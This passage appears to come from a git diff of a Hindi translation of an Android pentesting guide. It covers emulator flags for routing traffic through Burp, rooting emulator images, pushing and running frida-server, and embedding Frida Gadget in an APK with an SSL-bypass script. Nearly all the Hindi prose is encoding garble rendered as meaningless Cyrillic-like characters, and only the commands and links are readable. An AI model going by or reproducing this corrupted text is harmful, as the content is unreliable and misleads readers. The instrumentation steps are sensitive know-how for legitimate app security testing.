C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` ### рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╡рд┐рдХрд▓реНрдк -рд╣рд╛рд▓рд╛рдБрдХрд┐ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **рдХрдИ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдЙрдкрдпреЛрдЧреА рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╡рд┐рдХрд▓реНрдк**ред рдиреАрдЪреЗ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рдХрд▓реНрдк рджрд┐рдП рдЧрдП рд╣реИрдВ рд▓реЗрдХрд┐рди рдЖрдк [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) +рд╣рд╛рд▓рд╛рдБрдХрд┐ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдЙрдкрдпреЛрдЧреА рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╡рд┐рдХрд▓реНрдк рд╣реИрдВред рдиреАрдЪреЗ рдХреБрдЫ рд░реЛрдЪрдХ рд╡рд┐рдХрд▓реНрдк рджрд┐рдП рдЧрдП рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЖрдк [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) **рдмреВрдЯ** -- `-snapshot name` : VM рд╕реНрдиреИрдкрд╢реЙрдЯ рд╢реБрд░реВ рдХрд░реЗрдВ -- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : рд░рд┐рдХреЙрд░реНрдб рдХрд┐рдП рдЧрдП рд╕рднреА рд╕реНрдиреИрдкрд╢реЙрдЯ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ +- `-snapshot name` : VM рдХрд╛ snapshot рд╢реБрд░реВ рдХрд░реЗрдВ +- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : рд░рд┐рдХреЙрд░реНрдб рдХрд┐рдП рдЧрдП рд╕рднреА snapshots рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ **рдиреЗрдЯрд╡рд░реНрдХ** -- `-dns-server 192.0.2.0, 192.0.2.255` : VM рдХреЗ рд▓рд┐рдП DNS рд╕рд░реНрд╡рд░реЛрдВ рдХреЛ рдХреЙрдорд╛ рд╕реЗ рдЕрд▓рдЧ рдХрд░рдХреЗ рдмрддрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -- **`-http-proxy 192.168.1.12:8080`** : рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HTTP proxy рдмрддрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (Burp рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА) -- рдЕрдЧрд░ рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ proxy рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣реА рд╣реИрдВ, рддреЛ рдЙрдиреНрд╣реЗрдВ рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдпрд╛ "Super Proxy" рдпрд╛ "ProxyDroid" рдЬреИрд╕реЗ рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред -- `-netdelay 200` : рдиреЗрдЯрд╡рд░реНрдХ рд╡рд┐рд▓рдВрдмрддрд╛ рдПрдореБрд▓реЗрд╢рди (рдорд┐рд▓реАрд╕реЗрдХрдВрдб рдореЗрдВ) рд╕реЗрдЯ рдХрд░реЗрдВред -- `-port 5556` : рдЙрд╕ TCP рдкреЛрд░реНрдЯ рдирдВрдмрд░ рдХреЛ рд╕реЗрдЯ рдХрд░реЗрдВ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ console рдФрд░ adb рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- `-ports 5556,5559` : console рдФрд░ adb рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ TCP рдкреЛрд░реНрдЯ рд╕реЗрдЯ рдХрд░реЗрдВред -- **`-tcpdump /path/dumpfile.cap`** : рд╕рднреА рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВ +- `-dns-server 192.0.2.0, 192.0.2.255` : VM рдХреЛ рдХреЙрдорд╛ рд╕реЗ рдЕрд▓рдЧ рдХрд┐рдП рдЧрдП DNS рд╕рд░реНрд╡рд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- **`-http-proxy 192.168.1.12:8080`** : рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HTTP proxy рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЯреНрд░реИрдлрд┐рдХ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Burp рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА) +- рдпрджрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ proxy рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣реА рд╣реИрдВ, рддреЛ рдЙрдиреНрд╣реЗрдВ рдЕрдВрджрд░реВрдиреА рддреМрд░ рдкрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдпрд╛ Super Proxy рдпрд╛ ProxyDroid рдЬреИрд╕реЗ рдРрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред +- `-netdelay 200` : рдиреЗрдЯрд╡рд░реНрдХ рд▓реЗрдЯреЗрдВрд╕реА рдПрдореБрд▓реЗрд╢рди рдорд┐рд▓реАрд╕реЗрдХрдВрдб рдореЗрдВ рд╕реЗрдЯ рдХрд░реЗрдВред +- `-port 5556` : рдХрдВрд╕реЛрд▓ рдФрд░ adb рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ TCP рдкреЛрд░реНрдЯ рдирдВрдмрд░ рдХреЛ рд╕реЗрдЯ рдХрд░реЗрдВред +- `-ports 5556,5559` : рдХрдВрд╕реЛрд▓ рдФрд░ adb рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ TCP рдкреЛрд░реНрдЯ рд╕реЗрдЯ рдХрд░реЗрдВред +- **`-tcpdump /path/dumpfile.cap`** : рд╕рднреА рдЯреНрд░реИрдлрд┐рдХ рдХреЛ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВ **рд╕рд┐рд╕реНрдЯрдо** -- `-selinux {disabled|permissive}` : Linux рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдкрд░ Security-Enhanced Linux рд╕реБрд░рдХреНрд╖рд╛ рдореЙрдбреНрдпреВрд▓ рдХреЛ disabled рдпрд╛ permissive рдореЛрдб рдореЗрдВ рд╕реЗрдЯ рдХрд░реЗрдВред +- `-selinux {disabled|permissive}` : Security-Enhanced Linux рд╕реБрд░рдХреНрд╖рд╛ рдореЙрдбреНрдпреВрд▓ рдХреЛ Linux рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдкрд░ disabled рдпрд╛ permissive рдореЛрдб рдореЗрдВ рд╕реЗрдЯ рдХрд░реЗрдВред - `-timezone Europe/Paris` : рд╡рд░реНрдЪреБрдЕрд▓ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд▓рд┐рдП рдЯрд╛рдЗрдордЬрд╝реЛрди рд╕реЗрдЯ рдХрд░реЗрдВ -- `-screen {touch(default)|multi-touch|o-touch}` : рдЗрдореНрдпреВрд▓реЗрдЯреЗрдб рдЯрдЪ рд╕реНрдХреНрд░реАрди рдореЛрдб рд╕реЗрдЯ рдХрд░реЗрдВред -- **`-writable-system`** : рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдкрдХреЗ рдПрдореБрд▓реЗрд╢рди рд╕рддреНрд░ рдХреЗ рджреМрд░рд╛рди рд╕рд┐рд╕реНрдЯрдо рдЗрдореЗрдЬ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╣реЛред рдЖрдкрдХреЛ рд╕рд╛рде рд╣реА `adb root; adb remount` рднреА рдЪрд▓рд╛рдирд╛ рд╣реЛрдЧрд╛ред рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдирдпрд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИред +- `-screen {touch(default)|multi-touch|o-touch}` : рдПрдореБрд▓реЗрдЯреЗрдб рдЯрдЪ рд╕реНрдХреНрд░реАрди рдореЛрдб рд╕реЗрдЯ рдХрд░реЗрдВред +- **`-writable-system`** : рдЗрд╕ рдСрдкреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдиреА рдПрдореБрд▓реЗрд╢рди рд╕рддреНрд░ рдХреЗ рджреМрд░рд╛рди рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╕рд┐рд╕реНрдЯрдо рдЗрдореЗрдЬ рд░рдЦреЗрдВред рдЖрдкрдХреЛ рд╕рд╛рде рдореЗрдВ `adb root; adb remount` рднреА рдЪрд▓рд╛рдирд╛ рд╣реЛрдЧрд╛ред рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдирдпрд╛ certificate рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИред -## Linux CLI setup (SDK/AVD quickstart) +## Linux CLI рд╕реЗрдЯрдЕрдк (SDK/AVD quickstart) -рдЖрдзрд┐рдХрд╛рд░рд┐рдХ CLI tools Android Studio рдХреЗ рдмрд┐рдирд╛ рддреЗрдЬрд╝, рдбрд┐рдмрдЧ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдЗрдореНрдпреВрд▓реЗрдЯрд░реНрд╕ рдмрдирд╛рдирд╛ рдЖрд╕рд╛рди рдмрдирд╛рддреЗ рд╣реИрдВред +рдЖрдзрд┐рдХрд╛рд░рд┐рдХ CLI рдЯреВрд▓реНрд╕ Android Studio рдХреЗ рдмрд┐рдирд╛ рддреЗрдЬрд╝, рдбрд┐рдмрдЧ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдЗрдореБрд▓реЗрдЯрд░ рдмрдирд╛рдиреЗ рдХреЛ рдЖрд╕рд╛рди рдмрдирд╛рддреЗ рд╣реИрдВред ```bash # Directory layout mkdir -p ~/Android/cmdline-tools/latest @@ -216,10 +214,10 @@ emulator -avd PixelRootX86 -writable-system -snapshot PixelRootX86_snap adb root adb shell whoami # expect: root ``` -рдиреЛрдЯреНрд╕ -- рд╕рд┐рд╕реНрдЯрдо рдЗрдореЗрдЬ рдлреНрд▓реЗрд╡рд░реНрд╕: google_apis (debuggable, adb root рдХреА рдЕрдиреБрдорддрд┐), google_apis_playstore (rootable рдирд╣реАрдВ), aosp/default (рд╣рд▓реНрдХрд╛). -- рдмрд┐рд▓реНрдб рдкреНрд░рдХрд╛рд░: userdebug рдЕрдХреНрд╕рд░ debug-capable images рдкрд░ `adb root` рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред Play Store images рдкреНрд░реЛрдбрдХреНрд╢рди рдмрд┐рд▓реНрдб рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ root рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВред -- x86_64 рд╣реЛрд╕реНрдЯреНрд╕ рдкрд░, API 28+ рд╕реЗ рдкреВрд░реНрдг-рд╕рд┐рд╕реНрдЯрдо ARM64 рдЗрдореНрдпреВрд▓реЗрд╢рди рд╕рдорд░реНрдерд┐рдд рдирд╣реАрдВ рд╣реИред Android 11+ рдкрд░ рддреЗрдЬрд╝реА рд╕реЗ рдХрдИ ARM-only apps рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрди Google APIs/Play images рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрд┐рдирдореЗрдВ per-app ARM-to-x86 translation рд╢рд╛рдорд┐рд▓ рд╣реИред +Notes +- System image flavors: google_apis (рдбрд┐рдмрдЧ рдХрд░рдиреЗ рдпреЛрдЧреНрдп, `adb root` рдХреА рдЕрдиреБрдорддрд┐), google_apis_playstore (rootable рдирд╣реАрдВ), aosp/default (рд╣рд▓реНрдХрд╛). +- Build types: userdebug рдЕрдХреНрд╕рд░ рдбрд┐рдмрдЧ-рд╕рдорд░реНрде рдЗрдореЗрдЬ рдкрд░ `adb root` рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред Play Store images production builds рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ root рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВред +- x86_64 hosts рдкрд░, full-system ARM64 emulation API 28+ рд╕реЗ рд╕рдорд░реНрдерд┐рдд рдирд╣реАрдВ рд╣реИред Android 11+ рдХреЗ рд▓рд┐рдП Google APIs/Play images рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрд┐рдирдореЗрдВ per-app ARM-to-x86 translation рд╢рд╛рдорд┐рд▓ рд╣реИ рддрд╛рдХрд┐ рдХрдИ ARM-only apps рддреЗрдЬрд╝реА рд╕реЗ рдЪрд▓реЗрдВред ### CLI рд╕реЗ рд╕реНрдиреИрдкрд╢реЙрдЯреНрд╕ ```bash @@ -229,24 +227,25 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup # Boot from a named snapshot (if it exists) emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup ``` -## ARMтЖТx86 рдмрд╛рдЗрдирд░реА рдЕрдиреБрд╡рд╛рдж (Android 11+) +## ARMтЖТx86 рдмрд╛рдЗрдирд░реА рдЯреНрд░рд╛рдВрд╕рд▓реЗрд╢рди (Android 11+) -Android 11+ рдкрд░ Google APIs рдФрд░ Play Store images рдкреНрд░рддрд┐ рдкреНрд░реЛрд╕реЗрд╕ ARM app binaries рдХрд╛ рдЕрдиреБрд╡рд╛рдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдмрдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдмрд╛рдХреА рд╣рд┐рд╕реНрд╕реЗ рдХреЛ native x86/x86_64 рдкрд░ рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдЕрдХреНрд╕рд░ desktop рдкрд░ рдХрдИ ARM-only apps рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рддреЗрдЬрд╝ рд╣реЛрддрд╛ рд╣реИред +Google APIs рдФрд░ Play Store images Android 11+ рдкрд░ рдкреНрд░реЛрд╕реЗрд╕-рд╡рд╛рд░ ARM рдРрдк рдмрд╛рдЗрдирд░реАрдЬрд╝ рдХреЛ рдЯреНрд░рд╛рдВрд╕рд▓реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдмрдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдХрд╛ рдмрд╛рдХреА рд╣рд┐рд╕реНрд╕рд╛ native x86/x86_64 рд░рд╣рддрд╛ рд╣реИред рдпрд╣ рдЕрдХреНрд╕рд░ рдбреЗрд╕реНрдХрдЯреЙрдк рдкрд░ рдХрдИ ARM-only рдРрдкреНрд╕ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рддреЗрдЬрд╝ рд╣реЛрддрд╛ рд╣реИред -> рдЯрд┐рдк: pentests рдХреЗ рджреМрд░рд╛рди Google APIs x86/x86_64 images рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВред Play images рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИрдВ рд▓реЗрдХрд┐рди `adb root` рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддреА рд╣реИрдВ; рдЗрдиреНрд╣реЗрдВ рддрднреА рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрдм рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ Play services рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рдФрд░ root рдХреЗ рдЕрднрд╛рд╡ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд▓реЗрдВред +> Tip: pentests рдХреЗ рджреМрд░рд╛рди Google APIs x86/x86_64 images рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВред Play images рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИрдВ рд▓реЗрдХрд┐рди `adb root` рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВ; рдЗрдиреНрд╣реЗрдВ рдХреЗрд╡рд▓ рддрдм рд╣реА рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрдм рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ Play services рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рдФрд░ root рдХреА рдХрдореА рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реЛрдВред ## Rooting a Play Store device -рдпрджрд┐ рдЖрдкрдиреЗ Play Store рд╡рд╛рд▓рд╛ device рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рд╣реИ рддреЛ рдЖрдк рд╕реАрдзреЗ root рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ, рдФрд░ рдЖрдкрдХреЛ рдпрд╣ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдорд┐рд▓реЗрдЧрд╛ +рдпрджрд┐ рдЖрдкрдиреЗ Play Store рдХреЗ рд╕рд╛рде рдХреЛрдИ рдбрд┐рд╡рд╛рдЗрд╕ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдЖрдк рд╕реАрдзреЗ root рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реЛрдВрдЧреЗ, рдФрд░ рдЖрдкрдХреЛ рдпрд╣ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдорд┐рд▓реЗрдЧрд╛ ``` $ adb root adbd cannot run as root in production builds ``` -Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдореИрдВ рдЗрд╕реЗ root рдХрд░ рдкрд╛рдпрд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП [**рдпрд╣ рд╡реАрдбрд┐рдпреЛ**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) рдпрд╛ [**рдпрд╣ рд╡рд╛рд▓рд╛**](https://www.youtube.com/watch?v=qQicUW0svB8)). +Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) рдореИрдВ рдЗрд╕реЗ root рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд░рд╣рд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) рдпрд╛ [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8) рджреЗрдЦреЗрдВ). ## Burp Certificate рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ -custom CA cert рдХреИрд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рджреЗрдЦреЗрдВ: +рдХрд╕реНрдЯрдо CA cert рдХреИрд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдирд╛ рд╣реИ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЗрдЬ рджреЗрдЦреЗрдВ: + {{#ref}} install-burp-certificate.md diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index d0ab26e21..327c8181f 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -10,12 +10,12 @@ pip install frida-tools pip install frida ``` -**рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдЗрдВрд╕реНрдЯреЙрд▓** Android рдореЗрдВ **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ -adb рдХреЛ root рдореЛрдб рдореЗрдВ restart рдХрд░рдиреЗ, рдЙрд╕рд╕реЗ connect рдХрд░рдиреЗ, frida-server рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ, exec permissions рджреЗрдиреЗ рдФрд░ рдЗрд╕реЗ рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб рдореЗрдВ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП One-liner: +**рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ** рдПрдВрдбреНрд░реЙрдЗрдб рдореЗрдВ **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ +рдПрдХ-рд▓рд╛рдЗрди рдХрдорд╛рдВрдб рдЬреЛ adb рдХреЛ root рдореЛрдб рдореЗрдВ restart рдХрд░рдиреЗ, рдЙрд╕рд╕реЗ рдХрдиреЗрдХреНрдЯ рд╣реЛрдиреЗ, frida-server рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ, exec permissions рджреЗрдиреЗ рдФрд░ рдЗрд╕реЗ рдкреГрд╖реНрдарднреВрдорд┐ рдореЗрдВ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП: ```bash adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" ``` -**рдЬрд╛рдБрдЪреЗрдВ** рдХреНрдпрд╛ рдпрд╣ **рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИ**: +**рдЬрд╛рдВрдЪреЗрдВ** рдХрд┐ рдпрд╣ **рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИ**: ```bash frida-ps -U #List packages and processes frida-ps -U | grep -i #Get all the package name @@ -24,8 +24,8 @@ frida-ps -U | grep -i #Get all the package name Frida рдХреЗ рд╕рд╛рде Android apps рдХреЛ instrument рдХрд░рдиреЗ рдХреЗ рджреЛ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ: -- Frida server (rooted devices): рдПрдХ native daemon рдХреЛ push рдХрд░рдХреЗ рдЪрд▓рд╛рдПрдБ рдЬреЛ рдЖрдкрдХреЛ рдХрд┐рд╕реА рднреА process рд╕реЗ attach рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -- Frida Gadget (no root): Frida рдХреЛ APK рдХреЗ рдЕрдВрджрд░ рдПрдХ shared library рдХреЗ рд░реВрдк рдореЗрдВ bundle рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ target process рдХреЗ рднреАрддрд░ auto-load рдХрд░рд╛рдПрдБред +- Frida server (rooted devices): рдПрдХ native daemon рдХреЛ push рдХрд░рдХреЗ рдФрд░ рдЪрд▓рд╛рдПрдБ рдЬреЛ рдЖрдкрдХреЛ рдХрд┐рд╕реА рднреА process рдореЗрдВ attach рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- Frida Gadget (no root): Frida рдХреЛ APK рдХреЗ рдЕрдВрджрд░ рдПрдХ shared library рдХреЗ рд░реВрдк рдореЗрдВ bundle рдХрд░реЗрдВ рдФрд░ рдЙрд╕реЗ target process рдХреЗ рдЕрдВрджрд░ auto-load рдХрд░рд╛рдПрдБред Frida server (rooted) ```bash @@ -43,20 +43,20 @@ frida -U -n com.example.app Frida Gadget (no-root) 1) APK рдХреЛ рдЕрдирдкреИрдХ рдХрд░реЗрдВ, gadget .so рдФрд░ config рдЬреЛрдбрд╝реЗрдВ: -- libfrida-gadget.so рдХреЛ lib// рдореЗрдВ рд░рдЦреЗрдВ (e.g., lib/arm64-v8a/) -- assets/frida-gadget.config рдмрдирд╛рдПрдБ рдФрд░ рдЗрд╕рдореЗрдВ рдЕрдкрдиреА script рд▓реЛрдб рдХрд░рдиреЗ рдХреА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдбрд╛рд▓реЗрдВ +- libfrida-gadget.so рдХреЛ lib// рдореЗрдВ рд░рдЦреЗрдВ (рдЙрджрд╛., lib/arm64-v8a/) +- assets/frida-gadget.config рдмрдирд╛рдПрдВ рдФрд░ рдЙрд╕рдореЗрдВ рдЕрдкрдиреЗ script loading settings рдбрд╛рд▓реЗрдВ -Example frida-gadget.config +рдЙрджрд╛рд╣рд░рдг frida-gadget.config ```json { "interaction": { "type": "script", "path": "/sdcard/ssl-bypass.js" }, "runtime": { "logFile": "/sdcard/frida-gadget.log" } } ``` -2) рдЧреИрдЬреЗрдЯ рдХреЛ рд░реЗрдлрд╝рд░реЗрдВрд╕/рд▓реЛрдб рдХрд░реЗрдВ рддрд╛рдХрд┐ рдпрд╣ рдЬрд▓реНрджреА рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рд╣реЛ: -- рд╕рдмрд╕реЗ рдЖрд╕рд╛рди: Application.onCreate() рдореЗрдВ System.loadLibrary("frida-gadget") рдХреЙрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рдЫреЛрдЯрд╛ Java stub рдЬреЛрдбрд╝реЗрдВ, рдпрд╛ рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж native lib loading рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред +2) рдЧреИрдЬреЗрдЯ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд/рд▓реЛрдб рдХрд░реЗрдВ рддрд╛рдХрд┐ рдпрд╣ рдЬрд▓реНрджреА рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рд╣реЛ: +- рд╕рдмрд╕реЗ рдЖрд╕рд╛рди: рдПрдХ рдЫреЛрдЯрд╛ Java stub рдЬреЛрдбрд╝реЗрдВ рдЬреЛ System.loadLibrary("frida-gadget") рдХреЛ Application.onCreate() рдореЗрдВ рдХреЙрд▓ рдХрд░реЗ, рдпрд╛ рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж native lib loading рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред -3) APK 